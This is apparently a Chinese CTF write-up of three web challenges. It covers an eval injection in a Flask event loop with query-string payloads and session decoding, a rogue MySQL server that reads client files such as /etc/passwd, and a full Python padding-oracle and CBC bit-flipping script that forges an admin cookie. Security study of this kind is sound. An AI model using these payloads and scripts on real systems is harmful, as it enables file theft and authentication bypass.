homebrew event loop 一道python的代码审计题目,题目的入口点会检测url中携带的参数并且初始化session的值。
1 2 3 4 5 6 7 8 9 10 11 12 def entry_point () : querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len(querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop()
这里看到对查询参数有转义,同时有一定的限制,比如开头必须为action:
,同时长度不能超过100。
在进入处理事件循环之前会先将查询参数添加进事件记录中。这里可以看到会对event
做判断,所以它既可以传数列也可以是单个值,这里是这道题目的关键点之一,它的参数是可以传数列的。
1 2 3 4 5 6 7 def trigger_event (event) : session['log' ].append(event) if len(session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type(event) == type([]): request.event_queue += event else : request.event_queue.append(event)
这之后就会进入事件处理循环中,最关键的一点是针对事件的处理,从事件队列中取出一个,随后会判断是否为action
,将:
和;
之间的字符串当作函数动作名,并且把剩下的字符串用#
切分当作参数。函数动作拼接后缀字符串之后用eval
执行成为相应的函数,最后函数带入参数执行。
1 2 3 4 5 6 7 8 9 10 11 12 def execute_event_loop () : ... event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] ... is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval(action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) ...
大致的流程就是这样,这里题目的关键点是下面的getflag
函数,可以看到当session中的数量大于5的时候会将flag添加进事件记录中,同时事件队列也会添加这个任务。
1 2 3 4 5 6 7 8 9 def show_flag_function (args) : flag = args[0 ] return 'You naughty boy! ;) <br />' def get_flag_handler (args) : if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' )
但是起始的点数为3,我们怎么才能获得5个钻石?这就要分析购买钻石的操作流程了,这里的购买操作会先增加钻石数量,然后将消费操作加入事件队列中,这就是说购买和消费是分开的并不是原子操作。那么我们可以购买多个钻石,在消费操作之前执行getflag
函数就能把flag存入事件队列中。
1 2 3 4 5 6 7 8 9 10 def buy_handler (args) : num_items = int(args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format(args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format(num_items), 'action:view;index' ]) def consume_point_function (args) : point_to_consume = int(args[0 ]) if session['points' ] < point_to_consume: raise RollBackException() session['points' ] -= point_to_consume
好了,我当时就卡在这里,不知道该怎么走下去。因为这里如果按照常规操作只能一次执行一个函数,并不能一次性多次购买,这是第一个问题;第二,就算多次购买之后执行getflag
我们也仅仅是把flag放进了事件队列中,而每个事件是独立的没有办法获取前面事件的参数。
针对第一个问题,如何一次性多次购买,这里就要观察代码中它是如何多次执行的,trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
,使用了trigger_event
传入数列,其中数列就是多个操作的集合,所以这里我们也看看能不能调用trigger_event
。这里用到了一个作者设计上的问题,如果action
中包含#
,恰好这个符号是python中的注释符号,那么这个语句中eval(action + ('_handler' if is_action else '_function'))
那个#
就可以截断后面的后缀,这里的action就是任意代码执行。
我们的payload:action:trigger_event%23;action:xxx;arg1%23action:xxx;arg2%23
,这样后面的参数部分跟着想要调用的函数就可以被trigger_event
加进事件队列中,这样我们就可以一次性多次购买了,同时调用getflag
就能添加flag进事件队列中。payload:action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1
。
针对第二个问题,flag已经进入到事件队列中了,怎么查看?这就涉及到flask的session设计了,之前ph牛讲过这类session是和jwt类似的原理。里面的东西是可以被解密的,不能存放用户凭证或者其他一些机密数据。session['log'].append(event)
,这里session会记录事件,所以flag最后也会被记录在里面,那么我们只要调用get_flag
之后,我们的session中就会有相关记录,最后只需要解密就可以拿到flag。
在本地操作可以看到拿到了测试用的flag。
这里需要注意的一点是由于查询字符串会被限制在长度100以内,所以我们需要先正常购买三个钻石,然后再使用上面的方法一次性再购买两个,之后马上调用get_flag
。这最后的解密是使用https://github.com/Paradoxis/Flask-Unsign
虽然最后会出现报错,如下图:
但是,flag已经写进了session中,并且没有删除,这就是关键点。
解密数据拿到flag。
mysql弱口令 从网站页面看来是一个类似hydra
的扫描网站,它会去连接我们提供的IP和端口。这里其实比较明显了,在之前比赛遇到的MySQL client读取的漏洞有关,同样是网站担当客户端去请求MySQL服务端。
如果正常的去扫描的话结果如下:
使用tcpdump
抓包的结果是显示没有权限去访问。。。而且由于服务端开启了SSL加密,所以并不能开到所有有用的信息。
1 2 CREATE USER 'root'@'117.51.147.155' IDENTIFIED BY ''; grant all privileges on *.* to 'root'@'117.51.147.155' IDENTIFIED BY '' with grant option;
所以创建一个授权的用户之后,再次抓包来观察数据情况。
它会以用户名为root,密码为空的请求来访问我们的MySQL服务端。那么从MySQL官方文档中我们就可以知道,A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL
,不仅仅是在读文件操作可以获取本地文件,其他操作依旧可以,但是客户端必须要开启加载本地文件的选项。
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/ 从这篇博文中我们获得一个恶意MySQL的脚本,为了让客户端发出查询的操作:
服务端需要发送Server Greeting
等待客户端回复Query Package
发送file transfer
请求
当然这些格式在官方文档中都有,也可以通过抓包确认。
MySQL握手包 ,文件传输包
然后py脚本开始!点击扫描!然后:
emmmm???这是什么鬼?随后仔细看了看题目给的agent.py
和抓包中的奇怪http请求,才发现原来这个代理是用来检测服务器上运行的进程的。
那么这样就只能在返回的数据包中手动添加mysqld
,来让客户端认为服务端是开启状态。
测试成功,读取到了/etc/passwd
的数据。那么接下来就是找flag的过程了。这里是直接读取.bash_history
,shell的历史记录来回溯出题人的操作过程,发现最后的/home/dc2-user/ctf_web_2/app/main/views.py
。
在文件中有一条注释# flag in mysql curl@localhost database:security table:flag
,这就知道了flag在数据库中,这里直接读数据库文件就可以了,根据mysql的数据库存储规则/var/lib/mysql/database/table.idb
,读取文件/var/lib/mysql/security/flag.idb
。
坑点:在启动伪装mysql的时候,可能一开始扫描会有些问题,有可能是端口释放需要一定的时间。所以如果一次不行,就要多扫几次。
小技巧:怎么处理这么大一堆字符串,直接复制粘贴,在python中print一下就完事。简单粗暴,不用写脚本,不用手动排版。
再来一杯Java 根据题目的要求捆绑hosts,访问链接之后,在cookie中发现token。base64解码之后发现有hint,PadOracle,cbc
。
在这之后就是针对cookie做padding oracle
和cbc翻转
攻击。因为去除首部的描述字符的16位为IV,剩下的是推测的16位字符为一组的密文,那么这样的话就是16位字符串为一个区块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsdef xor (a, b) : return "" .join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))]) def padding_oracle (ciper_hex, N) : get = "" for i in xrange(1 , N + 1 ): for j in xrange(0 , 256 ): padding = xor(get, chr(i) * (i - 1 )) c = chr(0 ) * (N - i) + chr(j) + padding payload='5061644f7261636c653a69762f636263' +c.encode('hex' )+ciper_hex get_api_return=get_api(payload) if "decrypt err~" not in get_api_return: get = chr(j ^ i) + get print(get.encode('hex' )) break return get.encode('hex' ) def padding (strings) : padding_len=8 -len(strings)%8 return strings+chr(padding_len)*padding_len def get_api (ciphertext) : req_header={'X-Forwarded-For' : '' , 'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063' ,'Host' :'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023' ,'Referer' :'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home' ,'Cookie' :'token={}' .format(ciphertext.decode('hex' ).encode('base64' )[:-1 ]),} s = requests.session() rsp=s.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token' , headers=req_header,timeout=2 ,verify=False ,stream=True ,allow_redirects=False ) return (rsp.content) def cbc_byte_flipping (strings) : token_padding=padding(strings) c2='b8d85a91bdeae799086cc723e7bf1685' .decode('hex' ) c2_m='a7d3878a0466c70b59264b5ed33f5013' .decode('hex' ) c1=xor(c2_m,token_padding[16 :]) c1_m=padding_oracle(c1.encode('hex' ), 16 ).decode('hex' ) iv=xor(c1_m,token_padding[0 :16 ]) return ((iv+c1+c2).encode('base64' )[:-1 ]) print(cbc_byte_flipping('{"id":1,"roleAdmin":true}' ))
这里借用chamd5的wp脚本,利用伪造的cookie我们提权成为admin,能下载到一个txt。
1 2 3 4 Try to hack~ Hint: 1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ 2. You can not exec commands~
后面利用这个文件下载的api可以读取文件,在/proc/self/fd/15
可以读到jar包,之后就是java的部分了,GG。官方的提示是jrmp
,最后看wp是用的Weblogic JRMP反序列化漏洞打出来的。
Reference https://lightless.me/archives/read-mysql-client-file.html
https://www.zhaoj.in/read-5269.html
https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485734&idx=1&sn=4d5c92902ece0db4eb29c0addecdb679&chksm=e89e21fedfe9a8e89b42bf1df92ab8907c866df112c4c86bce8a38eafb3d90de9109e6c03516&xtrack=1&scene=0&subscene=131&clicktime=1556023454&ascene=7&devicetype=android-28&version=2700033c&nettype=cmnet&abtest_cookie=BAABAAoACwASABMABQAjlx4AX5keAM2ZHgDamR4A3JkeAAAA&lang=zh_CN&pass_ticket=YMjuQzyV9NBheOwb57Q7IzReaZd3gLT38Yu%252B%252FFcSC8KUJPp78f35Uw%252BPwVZ25nDA&wx_header=1